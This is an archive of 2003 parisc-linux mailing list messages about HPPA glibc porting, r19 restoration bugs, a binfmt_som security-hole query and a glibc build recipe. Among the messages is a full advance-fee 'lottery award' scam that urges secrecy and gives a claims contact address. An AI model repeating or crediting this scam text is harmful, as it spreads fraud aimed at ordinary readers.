> task struct.  It looks as if there is plenty of space before an alignment
> boundary is reached.

That seems best. The sad fact though is that until I bump
min_kernel_version in glibc past the kernel version that last didn't
have this fix, I'm still forced to implement all this for people with
older kernels.

c.



From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly3.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] tststatic failues, reduced to simp le testcase.
Date: Sun, 31 Aug 2003 16:47:59 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200308312047.QAA05245@hiauly3.hia.nrc.ca>
References: <20030831202203.GN5194@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622750 30619 80.91.229.3 (22 Nov 2014 02:19:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:10 +0000 (UTC)
Cc: randolph@tausq.org, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 31 14:48:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly3.hia.nrc.ca (hiauly3.hia.nrc.ca [132.246.100.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B8D848C0
	for <parisc-linux@lists.parisc-linux.org>; Sun, 31 Aug 2003 14:48:02 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly3.hia.nrc.ca (8.9.3 (PHNE_26305+JAGae58098)/8.9.3) id QAA05245;
	Sun, 31 Aug 2003 16:47:59 -0400 (EDT)
In-Reply-To: <20030831202203.GN5194@systemhalted> from Carlos O'Donell at Aug "31," 2003 "04:22:03" pm
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19424

> That seems best. The sad fact though is that until I bump
> min_kernel_version in glibc past the kernel version that last didn't
> have this fix, I'm still forced to implement all this for people with
> older kernels.

Why?  Things are broken now and people have lived with the bug for
sometime.  While it is possible to work around the problem in userspace,
the best fix is to do it in the kernel.  I wouldn't fix anything but
a regression.

Dave


From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] tststatic failues, reduced to simp le testcase.
Date: Mon, 1 Sep 2003 02:05:40 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20030901060540.GA19107@systemhalted>
References: <20030831202203.GN5194@systemhalted> <200308312047.QAA05245@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622750 30623 80.91.229.3 (22 Nov 2014 02:19:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:10 +0000 (UTC)
Cc: randolph@tausq.org, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly3.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  1 00:07:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id C800B4830
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Sep 2003 00:07:15 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19thoq-0002nL-00; Mon, 01 Sep 2003 02:05:40 -0400
Content-Disposition: inline
In-Reply-To: <200308312047.QAA05245@hiauly3.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (36% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19425

On Sun, Aug 31, 2003 at 04:47:59PM -0400, John David Anglin wrote:
> > That seems best. The sad fact though is that until I bump
> > min_kernel_version in glibc past the kernel version that last didn't
> > have this fix, I'm still forced to implement all this for people with
> > older kernels.
> 
> Why?  Things are broken now and people have lived with the bug for
> sometime.  While it is possible to work around the problem in userspace,
> the best fix is to do it in the kernel.  I wouldn't fix anything but
> a regression.

It's best to use an example. Debian supports HPPA as an architecture.
I provide Debian with patches to make upstream glibc cvs buildable for
this distribution. If I make all the glibc fixes in the kernel, and
submit to debian minimal patches, glibc will build and subsequent
updates will render all userspace broken. As a happy medium I need to
make, atleast for all usable distributions, a set of patches that fix it
in such a way that we don't force a kernel update (people don't like to
update their kernel). The patches I send upstream will be different.
They will, to the best of my ability, be as clean as possible. I balance
users on one side, and the "right thing" on the other.

I agree, that the kernel, sharing the context switch path, and already
saving r19 should be held responsible for restoring r19. I've already
begun to run into a number of cases where userspace restores aren't
going so well.

c.


From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Security Hole in binfmt_som.c ?
Date: Mon, 01 Sep 2003 08:00:34 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <3F52FCA2.5050500__5196.61674411527$1416622751$gmane$org@tiscali.be>
References: <3F509BBD.2040007@hrzpub.tu-darmstadt.de>	 <20030830131541.GI13467@parcelfarce.linux.theplanet.co.uk> <1062251389.31150.4.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622751 30624 80.91.229.3 (22 Nov 2014 02:19:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:11 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  1 02:00:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1D2A4830
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Sep 2003 02:00:22 -0600 (MDT)
Original-Received: from [62.235.120.111] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19tjbn-0000Es-00; Mon, 01 Sep 2003 10:00:19 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030714 Debian/1.4-2
X-Accept-Language: en
In-Reply-To: <1062251389.31150.4.camel@dhcp23.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19426

Alan Cox wrote:

>On Sad, 2003-08-30 at 14:15, Matthew Wilcox wrote:
>  
>
>>On Sat, Aug 30, 2003 at 02:42:37PM +0200, Ruediger Scholz wrote:
>>    
>>
>>>binfmt_som.c:216:2: #error "Fix security hole before enabling me"
>>>What's this message about?
>>>      
>>>
>>I don't know.  I wish someone would tell me.  You'd think they'd have the
>>decency to contact the person listed as the author at the top of the file.
>>    
>>
>
>Actually explanations were posted in the previous discussion on this on
>parisc-list.
>
>Someone has to do the equivalent of the 2.4.22 binfmt_elf changes if
>neccessary so that another thread can't change the file handles or 
>steal the exec fd being passed to the loader.
>
>  
>
Yes Alan, it was: 
<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-July/020386.html>

Sorry Willy I trusted that you read it (My bad next time I will advise 
you directly)

Joel



From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Girlshop Feedback" <feedback@mail.girlshop.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] automated response
Date: Mon,  1 Sep 2003 07:29:59 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <10309010729.AA02888@mail.girlshop.com>
Reply-To: <feedback@mail.girlshop.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622751 30627 80.91.229.3 (22 Nov 2014 02:19:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:11 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  1 06:34:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.girlshop.com (iml103.datareturn.com [216.46.240.249])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF1574830
	for <parisc-linux@parisc-linux.org>; Mon,  1 Sep 2003 06:34:42 -0600 (MDT)
X-Mailer: <SMTP32 v20010131>
Precedence: bulk
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19427

Thank you for emailing us at feedback@girlshop.com. We value your comments.

If you emailed us regarding a placed order, or if you have questions about merchandise, please contact customerservice@girlshop.com for a quicker reply. 

Happy shopping!

- Girlshop


From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "ELGORDO LOTTRY COMMISSION" <arroyomollino@whipmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] AWARD WINNING NOTIFICATION
Date: Mon, 1 Sep 2003 14:37:15 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20030901123703.511D14830@dsl2.external.hp.com>
Reply-To: felipecurtin@whipmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622751 30629 80.91.229.3 (22 Nov 2014 02:19:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  1 06:37:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ab17c257.com (206.Red-213-96-124.pooles.rima-tde.net [213.96.124.206])
	by dsl2.external.hp.com (Postfix) with SMTP id 511D14830
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Sep 2003 06:37:03 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19428

LOTTERY LA PRIMITIVA=2E C=2FBUSMAN EL BUENO=2C137 MADRID - ESPANA
TEL=3A +34- 645666196 AND FAX +34-916 640 223

FROM=3A THE DESK OF THE PROMOTIONS MANAGER=2C 
INTERNATIONAL PROMOTIONS=2FPRIZE AWARD DEPARTMENT=2C
REF=3A LP=2F26510460037=2F07 BATCH=3A 26=2F00319=2FIPD=2E
ATTENTION=3A
=28CONGRATULATION=29

=22AWARD NOTIFICATION FINAL NOTICE=2E=22


We are pleased to inform you of the announcement=2C of winners of the LOTTERY PRIMITIVA SWEEPSTAKES=2FINTERNATIONAL PROGRAMS held on 26 AUGUST=2C2003=2E Your name is attached to ticket number 008-05117963-198=2C with serial number 99375 drew the lucky numbers 30-33 -34-39-36-48=2C and consequently won the lottery in the 3rd category=2E You have therefore been approved for a lump sum pay out of EUROS 689=2C522=2C34 THOUSAND in cash credited to file No=3ALP=2F26510460037=2F07=2EThis is from total prize money of EUROS 60=2C200=2C000=2E00 shared among the twenty international winners in this category=2E All participants were selected through a computer ballot system drawn form 25=2C000 names from Australia=2C New Zealand=2C America=2C Europe=2C North America and Asia as part of International P
 romotions Program=2C which is conducted annually=2E CONGRATULATIONS!!! Your fund is now insured to your name=2E Due to the mix up of some numbers and names=2C we ask that you keep this award strictly from public notice until your claim has been processed and your money remitted to your account=2E This is part of our security protocol to avoid double claiming or unscrupulous acts by participants of this program=2E We hope with a part of you prize=2C you will participate in our end of year high stakes Euros1=2E1 billion International Lottery=2E To begin your claim=2C please contact your claims agent=2C FELIPE CURTIN FOREIGN OPERATION MANAGER=2C Email=3B =28felipecurtin=40whipmail=2Ecom =3Cmailto=3Afelipecurtin=40whipmail=2Ecom=3E=29
For due processing and remittance of your prize money to a designated account with our bankers=2E Remember=2C all prize money must be claimed not later than 25 SEPTEMBER=2C 2003=2E After this date=2C all funds will be returned as unclaimed=2E NOTE=3A In order to avoid unnecessary delays and complications=2C please remember to quote your reference and batch numbers in every one of your correspondences with your agent=2E Furthermore=2C should there be any change of your address=2C do inform your claims agent as soon as possible=2E Congratulations again from all our staff and thank you for being part of our promotions programm=2E 
=28 CONGRATULATION=29
BEST REGARDS
DR CARLOS F=2E LOPEZ




From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Status udate] hppa glibc 2.3.2 (Builders wanted!)
Date: Mon, 1 Sep 2003 11:52:36 -0400
Lines: 167
Approved: news@gmane.org
Message-ID: <20030901155235.GD19107@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622751 30632 80.91.229.3 (22 Nov 2014 02:19:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  1 09:53:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3A6D4830
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Sep 2003 09:53:40 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19tqyq-0000kF-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 01 Sep 2003 11:52:36 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (36% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19429

parisc,

Thanks to the help of many people (lamont, randolph, james, willy,
dave, grant ... and more) I've gotten glibc 2.3.2 into a working state. 
This set of patches represents our current state. 

There are a number of failures right now, and I'm trying to narrow them
down to into categories before release, I would be much appreciated to
have other people build glibc and report back their list of errors.

===============
    WARNING
===============

This glibc should NOT be installed on any system you value, there are
still some suspect high priority problems. I am merely looking for
people to build and run the testsuite on their setup. Thanks :)

===============
    WARNING
===============

The recipe:

0. Make some room!

mkdir glibc-cvs
cd glibc-cvs

1. Get fresh source and store it for a rainy day.

cvs -z 9 -d :pserver:anoncvs@sources.redhat.com:/cvs/glibc login
{enter "anoncvs" as the password}
cvs -z 9 -d :pserver:anoncvs@sources.redhat.com:/cvs/glibc co libc

tar cvf libc.tar libc

2. Download the newest patches (updated this morning).

wget http://www.baldric.uwo.ca/~carlos/glibc-2.3.2-patches.tar.gz

3. Download some scripts.

wget http://www.baldric.uwo.ca/~carlos/glibc-build.sh
wget http://www.baldric.uwo.ca/~carlos/glibc-upnpatch.sh

4. Run the scripts in this order.

./glibc-upnpatch.sh			(Look for rejects)
./glibc-build.sh hppa			(Build it!)

5. The latter script will output the error from the 'make -k check'
   phase, please report those back to the list.

---

Current errors and their status:

make[2]: *** [/glibc-cvs/build-hppa/iconvdata/bug-iconv3.out] Error 1

	Priority: Unknown.

	o Unknown, problem with our libc_lock functions, this test
	  starts up the iconv code in a non-threaded environment, then
	  dlopen's libpthread to make it reentrant and then starts the
	  iconv code back up again to see if the libc_lock functions
	  work... it deadlocks. 

make[1]: *** [iconvdata/tests] Error 2
make[2]: *** [/glibc-cvs/build-hppa/math/test-fenv.out] Error 1
make[2]: *** [/glibc-cvs/build-hppa/math/test-float.out] Error 1
make[2]: *** [/glibc-cvs/build-hppa/math/test-double.out] Error 1
make[2]: *** [/glibc-cvs/build-hppa/math/test-ifloat.out] Error 1

	Priority: Low.

	o We've had these for ever. Printf problems?

make[1]: *** [math/tests] Error 2
make[2]: *** [/glibc-cvs/build-hppa/stdlib/tst-strtod.out] Error 1
make[2]: *** [/glibc-cvs/build-hppa/stdlib/bug-strtod.out] Error 1

	Priority: Medium.

	o Recent regeressions in 2.3.2, reasons unknown, Randolph had
	  given them a look but it might be mmap related, not tested on
	  a kernel with jejb's fix. Going to try that today.

make[1]: *** [stdlib/tests] Error 2
make[2]: *** [/glibc-cvs/build-hppa/libio/tst-mmap-eofsync.out] Error 1
make[2]: *** [/glibc-cvs/build-hppa/libio/tst-mmap-fflushsync.out] Error 1

	Priority: High.

	o Fixed by jejb's recent patch to 2.6 and backport to 2.4
	  (Thanks!). Actually we know if fixes one of these, have yet to
	  see if it fixes both.

make[1]: *** [libio/tests] Error 2
make[2]: *** [/glibc-cvs/build-hppa/dlfcn/tststatic.out] Error 139

	Priority: High.

	o Static object dlopening RTLD_LAZY and tryint to call the
	  function descriptor stub put in place by RTLD_LAZY. This is a
	  suspect PLABEL problem with the dynamic loader, needs more analysis.
	  Perhaps randolph/dave's patches to binutils for converting
	  relocations might be helpfull here since the dlopen might
	  expect that r19 should be setup for the jump to the stub?

make[1]: *** [dlfcn/tests] Error 2
make[2]: *** [/glibc-cvs/build-hppa/posix/tst-regex.out] Error 139

	Priority: High.

	o Regresssion. I think it's somehow related to restoring r19
	  after a signal handler. Need to think more about the
	  restoration of r19 across different syscalls.

make[2]: [/glibc-cvs/build-hppa/posix/annexc.out] Error 1 (ignored)

	Ignored.

make[1]: *** [posix/tests] Error 2
make[2]: *** [/glibc-cvs/build-hppa/linuxthreads/tst-cancel2.out] Error 1
make[2]: *** [/glibc-cvs/build-hppa/linuxthreads/tst-popen.out] Error 1
make[2]: *** [/glibc-cvs/build-hppa/linuxthreads/tst-popen2.out] Error 1

	Priority: High.

	o Regresssions. Reasons unkown. Children die of SIGSEGV, related
	  to restoring r19 and signal handlers?

make[1]: *** [linuxthreads/tests] Error 2
make[2]: *** [/glibc-cvs/build-hppa/rt/tst-timer.out] Error 139

	Priority: High.

	o Regression. Dies after returning from rt_sigsuspend and we
	  restore r19, perhaps we shouldn't?

make[1]: *** [rt/tests] Error 2
make[2]: *** [/glibc-cvs/build-hppa/elf/neededtest.out] Error 14
make[2]: *** [/glibc-cvs/build-hppa/elf/neededtest2.out] Error 14
make[2]: *** [/glibc-cvs/build-hppa/elf/neededtest3.out] Error 17
make[2]: *** [/glibc-cvs/build-hppa/elf/neededtest4.out] Error 2
make[2]: *** [/glibc-cvs/build-hppa/elf/circleload1.out] Error 9

	Priority: Low

	o Been here since the start of time, related to the fact that we
	  aren't properly initializing _r_debug in the dynamic loader.

make[2]: *** [/glibc-cvs/build-hppa/elf/tst-tls13.out] Error 1

	Priority: Low.

	o We don't even have tls enabled let alone implemented? :)

make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

Thanks to everyone who helped me out!

Cheers,
Carlos.


From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Mon, 1 Sep 2003 17:34:05 +0100 (IST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0309011732010.11880-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622752 30633 80.91.229.3 (22 Nov 2014 02:19:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  1 10:34:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BC2E4830
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Sep 2003 10:34:12 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h81GY9904952;
	Mon, 1 Sep 2003 17:34:10 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19430

Hi,

I think we have another mixup in the CVS:

http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2003-September/033329.html


thanks, Max




From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS mixup
Date: Mon, 1 Sep 2003 17:37:57 +0100 (IST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0309011737410.11880-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622752 30638 80.91.229.3 (22 Nov 2014 02:19:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  1 10:38:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FC294830
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Sep 2003 10:38:00 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h81Gc0905132
	for <parisc-linux@lists.parisc-linux.org>; Mon, 1 Sep 2003 17:38:00 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
